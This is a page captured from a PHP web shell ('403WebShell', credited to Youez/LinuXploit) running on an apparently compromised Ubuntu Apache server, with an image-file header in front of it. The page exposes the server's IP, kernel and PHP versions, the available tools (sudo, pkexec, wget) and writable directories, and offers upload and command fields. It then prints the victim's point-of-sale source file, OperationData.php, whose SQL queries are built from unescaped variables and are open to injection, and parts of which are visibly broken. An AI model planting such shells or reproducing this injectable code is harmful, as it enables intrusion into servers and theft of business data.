����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.145.152.98
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/model//OperationData.php
<?php
class OperationData {
	public static $tablename = "operation";

	public function OperationData(){
		$this->sale_id = "";
		$this->name = "";
		$this->product_id = "";
		$this->price_in = "";
		$this->price_out = "";
		$this->stock_id = "";
		$this->q = "";
		$this->dev_id = "";
		$this->sell_id = "";
		$this->cut_id = "";
		$this->operation_type_id = "";
		$this->created_at = "NOW()";
	}

	
	public function add(){
		$sql = "insert into ".self::$tablename." (price_in,price_out,stock_id,product_id,q,operation_type_id,sell_id,created_at) ";
		$sql .= "value ($this->price_in,$this->price_out,$this->stock_id,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->sell_id,$this->created_at)";
		return Executor::doit($sql);
	}
	
	public function addD(){
		$sql = "insert into ".self::$tablename." (price_in,price_out,stock_id,product_id,q,operation_type_id,sell_id,dev_id,created_at) ";
		$sql .= "value ($this->price_in,$this->price_out,$this->stock_id,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->sell_id,$this->dev_id,$this->created_at)";
		return Executor::doit($sql);
	}
	
	public function add_cotization(){
		$sql = "insert into ".self::$tablename." (price_in,price_out,stock_id,product_id,q,operation_type_id,sell_id,created_at) ";
		$sql .= "value ($this->price_in,$this->price_out,$this->stock_id,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->sell_id,$this->created_at)";
		return Executor::doit($sql);
	}
	
	
	public function add2(){
		$sql = "insert into ".self::$tablename." (stock_id,product_id,q,operation_type_id,sell_id,created_at) ";
		$sql .= "value (1,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->sell_id,$this->created_at)";
		return Executor::doit($sql);
	}
	
	
	
	public function update_q(){
		$sql = "update ".self::$tablename." set q=\"$this->q\" where id=$this->id";
		Executor::doit($sql);
	}
	
	public function update_qty($sale_id){
		$sql = "update t_sale set sts=0 where sale_id='$sale_id'";
		Executor::doit($sql);
	}
	
	public function del(){
		$sql = "delete from ".self::$tablename." where id=$this->id";
		Executor::doit($sql);
	}
	
	public function del2(){
		$sql = "delete from t_sale_detail where barcode=$this->id";
		Executor::doit($sql);
	}

	public function update_type(){
		$sql = "update ".self::$tablename." set operation_type_id=\"$this->operation_type_id\" where id=$this->id";
		Executor::doit($sql);
	}

	//venta
	public static function getById($id){
		$sql = "select * from ".self::$tablename." where id=$id_item";
		$query = Executor::doit($sql);
		return Model::one($query[0],new OperationData());
	}
	

	public static function getAll(){
		$sql = "select * from ".self::$tablename." LIMIT 15000000";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getTotal(){
		$sql = "select * from ".self::$tablename." ";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());

	}
	
	public static function getGroupByDateOp($start,$end){
		$sql = "select autoid,sum(qty)  as t,sum(price*qty) as c from t_sale_detail where date(created_at) >= \"$start\" and date(created_at) <= \"$end\" and is_draft=0 ";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	
	
	public static function getAllById($id){
		$sql = "select * from ".self::$tablename." where sale_id=$id and operation_type_id=2";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getByc($search){
		$sql = "select * from t_sale_detail where sale_id='$search' ";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getByc2($search){
		$sql = "select * from t_sale_detail where item_name='$search' and is_draft = 0 order by sale_id desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getByc2OK($search){
		$sql = "select * from t_sale_detail where barcode='$search' and is_draft = 0 order by sale_id desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	

    //SELECT SUM(puntos) as total FROM encuesta WHERE idusuario=1

	public static function getAllByDateOfficial($stock,$start,$end){
 $sql = "select * from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and stock_id='$stock' order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}


	public static function getPPByDateOfficial($start,$end){
	$sql = "select *,sum(q) as total from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and operation_type_id=2 group by product_id order by total desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getTsaleDetailByDate($start,$end){
	$sql = "select *,sum(qty) as ventas from t_sale_detail where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\")  order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getPPByDateOfficial2($start,$end){
	$sql = "select *,sum(qty) as total from t_sale_detail where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\" and is_draft=0) group by id_item order by total DESC LIMIT 10 ";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	public static function getPPByDateOfficial3($start,$end,$id){
	$sql = "select * from t_sale_detail where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\" and is_draft=0) and id_item='$id'  order by sale_id ASC ";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	//ventas x barcode 
	public static function getItemVentas($start,$end,$id){
	$sql = "select *,sum(qty) as ventas from t_sale_detail where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and barcode='$id' order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	//ventas x fecha
	public static function getItemVentas2($start,$end){
	$sql = "select * from t_sale_detail where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") order by barcode desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	//devoluciones por fecha
	public static function getItemDev($start,$end,$id){
	$sql = "select *,sum(q) as dev from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and product_id=$id and operation_type_id=5 order by created_at desc ";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	

	public static function getAllByDateOfficialBP($stock,$product, $start,$end){
	$sql = "select * from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and barcode=$product and stock_id=$stock order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	//TABLA M_TEM
	public function getProduct(){ return ProductData::getById2($this->id_item);}
	//TABLA product
	public function getProduct2(){ return ProductData::getAllByName($this->item_name);}
	
	public function getProduct3(){ return ProductData::getById($this->id);}
		
	public function getOperationtype(){ return OperationTypeData::getById($this->operation_type_id);}



	public static function getQ($product_id){
		$q=0;
		$operations = self::getAllByProductId($product_id);
		$input_id = OperationTypeData::getByName("entrada")->id;
		$output_id = OperationTypeData::getByName("salida")->id;
		foreach($operations as $operation){
				if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
				else if($operation->operation_type_id==$output_id){  $q+=(-$operation->q); }
		}
		// print_r($data);
		return $q;
	}
	
	public static function getRByStock($product_id,$stock_id){
		$q=0;
		$operations = self::getAllByProductIdAndStock($product_id,$stock_id);
		$input_id = OperationTypeData::getByName("entrada-pendiente")->id;
		foreach($operations as $operation){
				if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
		}
		// print_r($data);
		return $q;
	}

	public static function getQByStock($product_id,$stock_id){
		$q=0;
		$operations = self::getAllByProductIdAndStock($product_id,$stock_id);
		$input_id = OperationTypeData::getByName("entrada")->id;
		$output_id = OperationTypeData::getByName("salida")->id;
		foreach($operations as $operation){
				if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
				else if($operation->operation_type_id==$output_id)
				{  
			     
				 $q+=(-$operation->q); 
				 }
		}
		// print_r($data);
		return $q;
	}



	public static function getDByStock($product_id,$stock_id){
		$q=0;
		$operations = self::getAllByProductIdAndStock($product_id,$stock_id);
		$input_id = OperationTypeData::getByName("salida-pendiente")->id;
		foreach($operations as $operation){
				if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
		}
		// print_r($data);
		return $q;
	}
	
	
	

	public static function getAllByProductIdCutId($product_id,$cut_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

	public static function getAllByProductId($product_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id  order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

	public static function getAllByProductIdAndStock($product_id,$stock_id){
		$sql = "select * from ".self::$tablename." where barcode=$product_id and stock_id=$stock_id and is_draft=0 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	//devoluciones opcion type id 5
	public static function getAllByProductIdAndStockDev($product_id,$stock_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and stock_id=$stock_id and is_draft=0 and operation_type_id=5 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	//revisar producto por devolucion
	public static function getAllByProductIdAndDev($product_id,$stock_id,$sell_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and stock_id=$stock_id and is_draft=0 and operation_type_id=5  and sell_id=$sell_id order by created_at desc";
		$query = Executor::doit($sql);
		return Model::one($query[0],new OperationData());
	}
	//devolucion por id de venta 
	public static function getAllByProductIdAndDev2($stock_id,$sell_id){
		$sql = "select * from ".self::$tablename." where stock_id=$stock_id and is_draft=0 and operation_type_id=5  and sell_id=$sell_id order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

	public static function getAllByProductIdCutIdOficial($product_id,$cut_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
		return Model::many($query[0],new OperationData());
	}

	//ventas version nueva 2020
	public static function getAllProductsBySellId($sell_id){
		$sql = "select * from t_sale_detail where sale_id='$sell_id'  order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	//ventas ultima 11
	public static function getAllProductsBySellId_A($sell_id){
		$sql = "select * from ".self::$tablename." where id='$sell_id' and operation_type_id=2 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	//cotizaciones
	public static function getAllProductsBySellId_C($sell_id){
		$sql = "select * from ".self::$tablename." where id='$sell_id' and operation_type_id=4 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	
	
	//compras
	public static function getAllProductsByReId($sell_id){
		$sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=1 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	//compras pendientes
	public static function getAllProductsByReceiveId($sell_id){
		$sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=3 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}
	//Ajustes
	public static function getAllProductsByAjId($sell_id){
		$sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=1 and is_draft = 1 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}


	public static function getAllByProductIdCutIdYesF($product_id,$cut_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
		return Model::many($query[0],new OperationData());
		return $array;
	}

////////////////////////////////////////////////////////////////////
	public static function getOutputQ($product_id,$cut_id){
		$q=0;
		$operations = self::getOutputByProductIdCutId($product_id,$cut_id);
		$input_id = OperationTypeData::getByName("entrada")->id;
		$output_id = OperationTypeData::getByName("salida")->id;
		foreach($operations as $operation){
			if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
			else if($operation->operation_type_id==$output_id){  $q+=(-$operation->q); }
		}
		// print_r($data);
		return $q;
	}

	public static function getOutputQYesF($product_id){
		$q=0;
		$operations = self::getOutputByProductId($product_id);
		$input_id = OperationTypeData::getByName("entrada")->id;
		$output_id = OperationTypeData::getByName("salida")->id;
		foreach($operations as $operation){
			if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
			else if($operation->operation_type_id==$output_id){  $q+=(-$operation->q); }
		}
		// print_r($data);
		return $q;
	}

	public static function getInputQByStock($product_id,$stock_id){
		$q=0;
		$operations = self::getInputByProductIdAndStock($product_id,$stock_id);
		$input_id = OperationTypeData::getByName("entrada")->id;
		foreach($operations as $operation){
			if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
		}
		// print_r($data);
		return $q;
	}



	public static function getOutputByProductIdCutId($product_id,$cut_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}


	public static function getOutputByProductId($product_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=2 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

////////////////////////////////////////////////////////////////////
	public static function getInputQ($product_id,$cut_id){
		$q=0;
		return Model::many($query[0],new OperationData());
		$operations = self::getInputByProductId($product_id);
		$input_id = OperationTypeData::getByName("entrada")->id;
		$output_id = OperationTypeData::getByName("salida")->id;
		foreach($operations as $operation){
			if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
			else if($operation->operation_type_id==$output_id){  $q+=(-$operation->q); }
		}
		// print_r($data);
		return $q;
	}


	public static function getInputByProductIdCutId($product_id,$cut_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

	public static function getInputByProductId($product_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=1 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

	public static function getInputByProductIdAndStock($product_id,$stock_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=1 and stock_id=$stock_id order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

	public static function getInputByProductIdCutIdYesF($product_id,$cut_id){
		$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new OperationData());
	}

////////////////////////////////////////////////////////////////////////////


}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit